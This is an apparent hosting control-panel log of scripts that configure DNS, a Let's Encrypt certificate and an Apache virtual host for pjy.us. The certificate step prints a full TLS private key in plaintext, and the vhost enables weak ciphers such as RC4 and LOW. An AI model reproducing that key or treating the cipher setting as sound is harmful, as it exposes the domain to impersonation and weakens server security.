MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-27 06:00:08:
PUT: /tmp/pkp199595
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-10-27 06:00:08:
chmod 755 /tmp/pkp199595; /tmp/pkp199595; rm /tmp/pkp199595
2025-10-27 06:00:11:
rndc: 'freeze' failed: not dynamic
zone reload queued
STDERR:
rndc: 'freeze' failed: not dynamic
2025-10-27 06:00:11:
PUT: /tmp/pkp425397
#!/bin/bash
rndc reload pjy.us 2>&1
2025-10-27 06:00:11:
chmod 755 /tmp/pkp425397; /tmp/pkp425397; rm /tmp/pkp425397
2025-10-27 06:00:11:
zone reload up-to-date
2025-10-27 06:00:23: Establishing a connection
2025-10-27 06:00:23:
PUT: /tmp/pkp359016
#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb.crt
cat > $temp_file <<'endmsg'
59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72
-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-27 06:00:23:
chmod 755 /tmp/pkp359016; /tmp/pkp359016; rm /tmp/pkp359016
2025-10-27 06:00:23:
dir=/etc/ssl/certs
2025-10-27 06:00:23:
PUT: /tmp/pkp203568
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/pjy_www_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-27 06:00:23:
chmod 755 /tmp/pkp203568; /tmp/pkp203568; rm /tmp/pkp203568
2025-10-27 06:00:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_www_us.conf 34
<VirtualHost *:80>
ServerName pjy.us
ServerAdmin do_not_email@example.com
ServerAlias www.pjy.us
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_access.log combined
ErrorLog /var/log/apache2/pjy/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName pjy.us
ServerAlias www.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_secure_access.log combined
ErrorLog /var/log/apache2/pjy/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-27 06:00:23:
PUT: /tmp/pkp844821
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_www_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_www_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName pjy.us
ServerAdmin do_not_email@example.com
ServerAlias www.pjy.us
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_access.log combined
ErrorLog /var/log/apache2/pjy/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName pjy.us
ServerAlias www.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
DocumentRoot /var/www/pjy_www
<Directory /var/www/pjy_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/www_secure_access.log combined
ErrorLog /var/log/apache2/pjy/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_www_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_www_us.conf= 1'
fi
2025-10-27 06:00:23:
chmod 755 /tmp/pkp844821; /tmp/pkp844821; rm /tmp/pkp844821
2025-10-27 06:00:23:
2025-10-27 06:00:23:
PUT: /tmp/pkp886605
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-27 06:00:23:
chmod 755 /tmp/pkp886605; /tmp/pkp886605; rm /tmp/pkp886605
2025-10-27 06:00:23:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-27 06:00:23: Establishing a connection
2025-10-27 06:00:23:
PUT: /tmp/pkp839772
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-27 06:00:24:
chmod 755 /tmp/pkp839772; /tmp/pkp839772; rm /tmp/pkp839772
2025-10-27 06:00:24:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-27 06:00:24:
PUT: /tmp/pkp474894
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/pjy_www_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
